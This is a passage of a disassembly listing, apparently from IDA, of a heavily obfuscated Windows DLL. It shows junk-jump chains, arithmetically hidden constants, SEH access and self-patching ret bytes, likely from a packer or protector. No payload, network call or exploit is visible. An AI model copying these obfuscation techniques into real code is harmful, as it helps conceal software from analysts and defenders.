--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_100138CE: ; CODE XREF: sub_10015E0D:loc_10015666j ; sub_10015E0D-793j rol eax, 13h add eax, 0CBD62839h xchg eax, [esp+0] jmp sub_100180C2 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- cmp eax, edx jmp loc_10016CF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_100138E7: ; CODE XREF: sub_10018AB1-24F3j jz loc_10015F16 jmp loc_1001B452 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_100138F2: ; CODE XREF: sub_100193F2+355j jnz loc_1001827A jmp loc_100146C2 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; =============== S U B R O U T I N E ======================================= sub_100138FD proc near ; CODE XREF: sub_10019030-5776j ; FUNCTION CHUNK AT 10015123 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015934 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001600A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017D97 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10018B14 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001AB9F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D0B6 SIZE 0000000F BYTES add esp, 0FFFFFFF8h mov [ebp-8], edx mov [ebp-4], eax mov edx, [ebp-8] mov eax, [ebp-4] call sub_1001558A jmp loc_10015123 sub_100138FD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10013916 proc near ; DATA XREF: an.kk9rg:10017E23o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10019A1D SIZE 00000005 BYTES adc edx, [esp+arg_0] add esp, 8 push edi push 0ABC688EFh pop edi xor edi, 86A6C5F2h and edi, 0EBB26E91h jmp loc_10019A1D sub_10013916 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_10013935: ; CODE XREF: sub_1001A54C+2D36j xor ebp, 9FE3C0E9h pushf jmp loc_1001C72C ; END OF FUNCTION CHUNK FOR sub_1001A54C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_10013942: ; CODE XREF: sub_1001C535-C52j jmp nullsub_203 ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_10013947: ; CODE XREF: sub_10018AB1+3j jmp loc_1001B3DC ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D392 loc_1001394C: ; CODE XREF: sub_1001D392-1948j jl loc_1001B2F6 loc_10013952: ; CODE XREF: sub_100184A9+1Dj jmp loc_1001D0FC ; END OF FUNCTION CHUNK FOR sub_1001D392 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001677A loc_10013957: ; CODE XREF: sub_1001677A+3j jmp loc_10017798 ; END OF FUNCTION CHUNK FOR sub_1001677A ; --------------------------------------------------------------------------- jno loc_1001C61D jmp loc_1001AEF4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_10013967: ; CODE XREF: sub_1001492C+1E22j ; sub_1001492C+1E30j ... jmp loc_1001471D ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001396C: ; CODE XREF: sub_10013389:loc_1001707Cj ; sub_1001492C:loc_1001A589j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- push edi mov edi, ebp jmp loc_10017CEE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_10013977: ; CODE XREF: sub_10013BB8+7234j jz loc_100131CB jmp loc_1001A1D9 ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_10013982: ; CODE XREF: sub_100174F4:loc_1001CB88j jz loc_1001A3AA add ecx, 0D4486862h jmp loc_10017FBF ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- loc_10013993: ; CODE XREF: an.kk9rg:10016FC0j js loc_1001926C ; =============== S U B R O U T I N E ======================================= sub_10013999 proc near ; CODE XREF: sub_1001DA6D:loc_10017F3Fp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100148DF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 100156FD SIZE 00000015 BYTES ; FUNCTION CHUNK AT 100157AD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 100159C0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 10018D81 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10019A90 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A671 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B6C8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001CD57 SIZE 0000000B BYTES xchg edx, [esp+0] pop edx mov ebp, esp push ecx mov esp, ebp pop ebp mov eax, ds:dword_100185DC jmp loc_10019A90 sub_10013999 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ror ecx, 13h jmp sub_10015995 ; --------------------------------------------------------------------------- loc_100139B6: ; DATA XREF: sub_10016A1B+1478o jz loc_10017338 ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_100139BC: ; CODE XREF: sub_10016A1B+Aj ; sub_1001853F+Cj ... jnz loc_1001A725 call sub_1001B45F loc_100139C7: ; CODE XREF: sub_10019FDC-1809j jmp loc_1001ACC2 ; END OF FUNCTION CHUNK FOR sub_10016A1B ; --------------------------------------------------------------------------- loc_100139CC: ; CODE XREF: an.kk9rg:10017E5Ej jmp nullsub_7 ; --------------------------------------------------------------------------- ror esi, 11h jmp sub_1001924A ; --------------------------------------------------------------------------- loc_100139D9: ; DATA XREF: sub_1001CBA8-1A56o mov eax, [eax] mov al, [eax] jns loc_1001C39A sub al, 99h push 0F5A936A6h pop edx xor edx, 8ABBD790h jmp loc_1001D29E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_100139F6: ; CODE XREF: sub_10018066:loc_10014443j push offset loc_10018ED3 jmp nullsub_151 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10013A00: ; CODE XREF: sub_10015E0D+6862j jl loc_10015666 loc_10013A06: ; CODE XREF: sub_10015E0D:loc_10013628j push esi push 0CA6D9407h pop esi add esi, 7F002D85h jb loc_10017A23 push 9866D564h jmp loc_10017A14 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D461 loc_10013A23: ; CODE XREF: sub_1001D461+D4j pop eax and eax, 0A9CCBE8Bh rol eax, 10h or eax, 13DFC24Bh add eax, 800C60D5h jmp loc_1001CF5A ; END OF FUNCTION CHUNK FOR sub_1001D461 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10013A3E: ; CODE XREF: sub_10018066-B2Cj call sub_1001B913 mov eax, [ebp-4] and dword ptr [eax+24h], 7FFFFFFFh lea eax, [ebp-14h] loc_10013A50: ; CODE XREF: sub_1001456F:loc_1001DF17j call sub_1001564A ; END OF FUNCTION CHUNK FOR sub_10018066 ; START OF FUNCTION CHUNK FOR sub_10019269 loc_10013A55: ; CODE XREF: sub_10019269+Cj jmp loc_1001341F ; END OF FUNCTION CHUNK FOR sub_10019269 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017E49 loc_10013A5A: ; CODE XREF: sub_10017E49+1j jmp loc_10017BB6 ; END OF FUNCTION CHUNK FOR sub_10017E49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10013A5F: ; CODE XREF: sub_100136D7+6539j jz loc_1001D928 jmp loc_1001A91C ; END OF FUNCTION CHUNK FOR sub_100136D7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10013A6A proc near ; CODE XREF: sub_10014B3A+5p ; sub_10015B5D:loc_100177EAj push ebp mov ebp, esp push ecx push edx jmp loc_10013441 sub_10013A6A endp ; --------------------------------------------------------------------------- loc_10013A74: ; CODE XREF: an.kk9rg:loc_1001807Cj mov byte ptr [eax], 0C3h jmp nullsub_160 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_10013A7C: ; CODE XREF: sub_10019571:loc_10016A3Dj pop edx mov eax, [esp-4+arg_0] push edx call sub_1001677A push 7998E99h pop eax sub eax, 5C974F8Fh jmp loc_100163F5 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_10013A97: ; CODE XREF: sub_10017CF8:loc_1001C0ACj jnz loc_10016817 jmp loc_1001AFD8 ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10013AA2: ; CODE XREF: sub_10016D66+6BA2j test edi, 9E109EEAh jmp loc_1001BC14 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10013AAD: ; CODE XREF: sub_10016D04-DF3j jo loc_10019113 loc_10013AB3: ; CODE XREF: sub_10019E2E+3384j add edx, 334F7BFCh jo loc_100182C9 loc_10013ABF: ; CODE XREF: sub_10016D04:loc_10019F0Ej push 0FA14E1ECh pop eax xor eax, 7001D8D4h js loc_1001C35C ; END OF FUNCTION CHUNK FOR sub_10016D04 ; START OF FUNCTION CHUNK FOR sub_100194EA loc_10013AD1: ; CODE XREF: sub_100194EA-84Ej jmp loc_100170AF ; END OF FUNCTION CHUNK FOR sub_100194EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A6F7 loc_10013AD6: ; CODE XREF: sub_1001A6F7:loc_100159FDj jmp loc_10015A97 ; END OF FUNCTION CHUNK FOR sub_1001A6F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018330 loc_10013ADB: ; CODE XREF: sub_10018330+3j push offset sub_10015743 jmp nullsub_116 ; END OF FUNCTION CHUNK FOR sub_10018330 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10013AE5: ; CODE XREF: sub_10016734:loc_100195C0j pop ecx loc_10013AE6: ; CODE XREF: an.kk9rg:loc_1001A6EFj push edx jmp loc_10018318 ; END OF FUNCTION CHUNK FOR sub_10016734 ; =============== S U B R O U T I N E ======================================= sub_10013AEC proc near ; DATA XREF: an.kk9rg:10018EC9o popf call sub_1001753F sub_10013AEC endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001679F loc_10013AF2: ; CODE XREF: sub_1001679F-26E8j jmp loc_1001C36D ; END OF FUNCTION CHUNK FOR sub_1001679F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10013AF7: ; CODE XREF: sub_1001893F-1811j imul byte ptr [edx] call sub_10017D86 loc_10013AFE: ; CODE XREF: an.kk9rg:10016015j jmp loc_10019041 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A70A loc_10013B03: ; CODE XREF: sub_1001A70A:loc_10016DB9j call sub_1001BBDA loc_10013B08: ; CODE XREF: sub_1001BC80-45CBj jmp loc_10018A5B ; END OF FUNCTION CHUNK FOR sub_1001A70A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10013B0D: ; CODE XREF: sub_10016734+1580j jno loc_1001AFC8 loc_10013B13: ; CODE XREF: sub_10016734:loc_1001D143j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10017C96 jmp loc_1001D6CA ; END OF FUNCTION CHUNK FOR sub_10016734 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014B85 loc_10013B25: ; CODE XREF: sub_10014B85+8j jmp nullsub_204 ; END OF FUNCTION CHUNK FOR sub_10014B85 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_174. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_10013B2B: ; CODE XREF: sub_10019571+4171j jmp loc_10016DC3 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100144F5 loc_10013B30: ; CODE XREF: sub_100144F5+7j mov dword ptr [ebp-18h], 0 loc_10013B37: ; CODE XREF: sub_1001A5EB+7j mov eax, [ebp-14h] mov eax, [eax+20h] push offset loc_100159C9 jmp nullsub_20 ; END OF FUNCTION CHUNK FOR sub_100144F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_10013B47: ; CODE XREF: sub_10015066+Cj ; an.kk9rg:1001813Cj rol eax, 11h sub eax, 0EE31F5Bh and eax, 45128321h test eax, 4000000h jmp loc_1001B1AD ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_10013B61: ; CODE XREF: sub_10015086+94Dj shl eax, 2 cdq add eax, [esp+0] adc edx, [esp+arg_0] jb loc_100196EB jmp loc_100188D5 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- loc_10013B77: ; CODE XREF: an.kk9rg:1001C727j push ebx push 920D2095h pop ebx add ebx, 2E09836Ah jmp loc_1001ACD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015A4A loc_10013B89: ; CODE XREF: sub_10015A4A:loc_1001D2C5j mov ds:dword_10019664, eax xor eax, eax mov ds:dword_10019654, eax ; END OF FUNCTION CHUNK FOR sub_10015A4A ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10013B95: ; CODE XREF: sub_10013389+107j ; sub_10015A4A+4j ... jns loc_100182BC cmp ds:dword_10019664, 0 jnz loc_100172EA jmp loc_1001387F ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_10013BAD proc near ; CODE XREF: an.kk9rg:1001A78Fp ; an.kk9rg:1001AB75j xchg esi, [esp+0] pop esi jnz loc_1001A4E8 retn sub_10013BAD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10013BB8 proc near ; CODE XREF: sub_1001D37F:loc_1001D663p ; FUNCTION CHUNK AT 100131C4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10013977 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015154 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 100195CC SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001A1D9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001ADE1 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001B1C3 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001C7CB SIZE 00000023 BYTES ; FUNCTION CHUNK AT 1001D029 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D065 SIZE 00000006 BYTES mov eax, large fs:0 loc_10013BBF: ; CODE XREF: sub_10013BB8+15A4j ; sub_10019293+Cj jb loc_10015154 loc_10013BC5: ; CODE XREF: sub_10016167-16D4j call sub_10019293 loc_10013BCA: ; CODE XREF: sub_10015066+8B4Cj jmp loc_1001ADE1 sub_10013BB8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100181E1 loc_10013BCF: ; CODE XREF: sub_100181E1:loc_100181ECj jmp loc_1001352C ; END OF FUNCTION CHUNK FOR sub_100181E1 ; --------------------------------------------------------------------------- dword_10013BD4 dd 2 ; DATA XREF: sub_1001D862-31Dr dd 3 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h) dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h) dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h) dd 3 dup(1), 2, 1C2h, 3 dup(2), 3 dup(1), 2, 1C2h, 0Bh dup(2) dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2) dd 1, 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2, 1, 2 dup(2) dd 2 dup(1), 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2 dd 1, 3 dup(2), 1, 2, 2 dup(1), 3 dup(2), 1, 3 dup(2) dd 1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B81 loc_10013FD4: ; CODE XREF: sub_10016B81+764j jmp loc_1001D883 ; END OF FUNCTION CHUNK FOR sub_10016B81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10013FD9: ; CODE XREF: sub_10016D66-3B3Dj jmp loc_1001A5AF ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- dw 3A3Ch dword_10013FE0 dd 77EB36A5h ; DATA XREF: sub_1001CC4A+Ew ; sub_1001DD8B+Ew ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_10013FE4: ; CODE XREF: sub_1001C6B0-207Ej jmp loc_10016427 ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10013FE9: ; CODE XREF: sub_10016D66-1DF7j jmp loc_1001624B ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- jmp dword ptr [eax+eax+0] ; DATA XREF: sub_100180C2:loc_10019307o ; sub_100180C2:loc_10019758o ... ; --------------------------------------------------------------------------- align 4 loc_10013FF4: ; CODE XREF: an.kk9rg:10019D8Aj jmp loc_1001BC45 ; --------------------------------------------------------------------------- db 0ECh, 8Ah, 0EDh dword_10013FFC dd 77E60000h ; DATA XREF: sub_100180C2:loc_100181F1w ; sub_100180C2:loc_1001820Ar ... ; --------------------------------------------------------------------------- locret_10014000: ; CODE XREF: an.kk9rg:loc_100180F5j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_10014001: ; CODE XREF: sub_10019E2E-67EAj jmp loc_100183F7 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D201 loc_10014006: ; CODE XREF: sub_1001D201+1Bj xor edx, edx push edx push eax ; END OF FUNCTION CHUNK FOR sub_1001D201 ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001400A: ; CODE XREF: sub_10016D66-2CE8j mov eax, [ebp-18h] add eax, eax call sub_1001620D loc_10014014: ; CODE XREF: an.kk9rg:10014E5Aj jmp loc_1001D8FD ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- db 2Ah, 89h, 0CFh dword_1001401C dd 61518C1Fh ; DATA XREF: sub_1001AE1D:loc_1001A4ACr ; sub_1001AE1D+6r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001997C loc_10014020: ; CODE XREF: sub_1001997C-742j jmp loc_10018BFB ; END OF FUNCTION CHUNK FOR sub_1001997C ; --------------------------------------------------------------------------- call nullsub_199 jmp ds:dword_10002008 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_199. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jz loc_1001D2E7 mov eax, [esp] jmp loc_10014E90 ; --------------------------------------------------------------------------- loc_1001403F: ; CODE XREF: an.kk9rg:1001A14Aj and edi, 0E02CE18Ah add edi, 8FFD1D0Ch push edx push 92231FD0h pop edx add edx, ds:100000C3h jmp loc_1001C111 ; --------------------------------------------------------------------------- loc_1001405D: ; DATA XREF: an.kk9rg:loc_100190A7o mov eax, [esp] call sub_10014B3A ; START OF FUNCTION CHUNK FOR sub_10019A95 loc_10014065: ; CODE XREF: sub_10019A95+29B3j push offset sub_10016734 jmp nullsub_102 ; END OF FUNCTION CHUNK FOR sub_10019A95 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1001406F proc near ; CODE XREF: sub_10015353+4C33j retn sub_1001406F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E56 loc_10014070: ; CODE XREF: sub_10018E56+9j jmp locret_1001A0AC ; END OF FUNCTION CHUNK FOR sub_10018E56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100132E5 loc_10014075: ; CODE XREF: sub_100132E5+2983j jmp nullsub_74 ; END OF FUNCTION CHUNK FOR sub_100132E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001407A: ; CODE XREF: sub_10016D66:loc_1001D34Ej xor edx, edx push edx push eax jmp loc_1001400A ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- loc_10014083: ; CODE XREF: an.kk9rg:1001D62Dj call sub_10018628 ; START OF FUNCTION CHUNK FOR sub_1001498A loc_10014088: ; CODE XREF: sub_1001498A+4D5Cj jmp loc_1001B40A ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017811 loc_1001408D: ; CODE XREF: sub_10017811+10j jmp locret_1001355A ; END OF FUNCTION CHUNK FOR sub_10017811 ; =============== S U B R O U T I N E ======================================= sub_10014092 proc near ; CODE XREF: an.kk9rg:10014E85j ; sub_1001836B+8p ; FUNCTION CHUNK AT 10015C52 SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jmp loc_10015C52 sub_10014092 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_100140A5 proc near ; CODE XREF: sub_1001C28F:loc_10019DBBp ; FUNCTION CHUNK AT 1001CCD9 SIZE 00000005 BYTES push offset sub_1001CA40 jmp loc_1001CCD9 sub_100140A5 endp ; =============== S U B R O U T I N E ======================================= sub_100140AF proc near ; CODE XREF: sub_1001AA74j ; DATA XREF: sub_1001AA64+6o pop ecx locret_100140B0: ; CODE XREF: an.kk9rg:10016B1Bj retn sub_100140AF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001679F loc_100140B1: ; CODE XREF: an.kk9rg:10019971j ; sub_1001679F+39CAj rol eax, 0Fh push ebp mov ebp, eax jmp loc_10013AF2 ; END OF FUNCTION CHUNK FOR sub_1001679F ; --------------------------------------------------------------------------- loc_100140BC: ; CODE XREF: an.kk9rg:100175D9j popf test edx, 465CD5C9h jmp loc_10016673 ; --------------------------------------------------------------------------- loc_100140C8: ; CODE XREF: an.kk9rg:loc_1001AA75j rol eax, 16h jmp loc_10016437 ; --------------------------------------------------------------------------- jo loc_1001672F jmp sub_1001B0B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B4CC loc_100140DB: ; CODE XREF: sub_1001B4CC:loc_10016770j mov ecx, edi pop edi loc_100140DE: ; CODE XREF: an.kk9rg:100173E3j sub ecx, 0D4D36481h xor ecx, 9E466BB4h add ecx, ebp add ecx, 771DBE44h mov [ecx], eax jmp loc_10018022 ; END OF FUNCTION CHUNK FOR sub_1001B4CC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_100140FA: ; CODE XREF: sub_10018AB1+3F2Ej jz loc_1001CDDB shr edi, 9 loc_10014103: ; CODE XREF: sub_10018AB1:loc_1001BBEBj call sub_100180C2 mov edx, 0C231F698h jmp loc_1001C15D ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D88D loc_10014112: ; CODE XREF: sub_1001D88D+1j cdq xchg ebp, [eax] test esi, 48F926A0h jmp loc_10017C89 ; END OF FUNCTION CHUNK FOR sub_1001D88D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10014120: ; CODE XREF: sub_1001ABFD:loc_1001B9FEj jnz loc_100194F6 jmp loc_1001DF1F ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001412B: ; CODE XREF: sub_1001492C+C01j popf add ecx, eax jmp loc_1001A571 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- loc_10014133: ; CODE XREF: an.kk9rg:loc_10019679j add edx, 6F035E02h add edx, ebp add edx, 9CE666F1h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_1001C4A4 jmp loc_10016FC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100163BA loc_10014152: ; CODE XREF: sub_100163BA:loc_10014184j or edx, 0D988AB6h ; END OF FUNCTION CHUNK FOR sub_100163BA ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10014158: ; CODE XREF: sub_10019409:loc_100132DDj xor edx, 0FBFEFE05h add edx, 0A0C974F2h push eax jmp loc_1001BC6E ; --------------------------------------------------------------------------- loc_1001416A: ; CODE XREF: sub_10019409+2648j not ebp popf loc_1001416D: ; CODE XREF: sub_10019409:loc_10019EE9j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_100132E2 jmp loc_1001A973 ; END OF FUNCTION CHUNK FOR sub_10019409 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_217. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B3CA loc_1001417F: ; CODE XREF: sub_1001B3CA-FEDj jmp loc_1001A7EE ; END OF FUNCTION CHUNK FOR sub_1001B3CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100163BA loc_10014184: ; CODE XREF: sub_100163BA+10j jmp loc_10014152 ; END OF FUNCTION CHUNK FOR sub_100163BA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10014189 proc near ; CODE XREF: an.kk9rg:1001BB18p ; sub_10015DB9:loc_1001D709j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 100160BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016256 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10017F93 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001805B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B620 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 1001CB8D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D6CF SIZE 0000000D BYTES push ebp mov ebp, esp push ecx mov esp, ebp xchg eax, [esp+4+var_4] jmp loc_10016256 sub_10014189 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_10014197: ; CODE XREF: sub_1001B096:loc_10018B0Aj jz loc_1001C4A4 jmp loc_1001702E ; END OF FUNCTION CHUNK FOR sub_1001B096 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_100141A3: ; CODE XREF: an.kk9rg:100199D8j jmp loc_10014F3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A51D loc_100141A8: ; CODE XREF: sub_1001A51D+7j mov [ebp-4], eax call sub_10018352 loc_100141B0: ; CODE XREF: an.kk9rg:1001DD67j mov edi, 4AF0763Eh ; END OF FUNCTION CHUNK FOR sub_1001A51D ; =============== S U B R O U T I N E ======================================= sub_100141B5 proc near ; CODE XREF: sub_1001BABF+Ap xchg eax, [esp+0] pop eax mov byte ptr [eax], 0C3h jmp loc_10016075 sub_100141B5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push edi jmp loc_10019842 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015131 loc_100141C8: ; CODE XREF: sub_10015131+4D54j jmp loc_1001DA19 ; END OF FUNCTION CHUNK FOR sub_10015131 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C26A loc_100141CD: ; CODE XREF: sub_1001C26A:loc_10019223j jz loc_10013875 jmp loc_1001A732 ; END OF FUNCTION CHUNK FOR sub_1001C26A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100141D8: ; CODE XREF: sub_10013389:loc_1001CB97j jz loc_10019C7A jmp loc_100130E4 ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_100141E3 proc near ; CODE 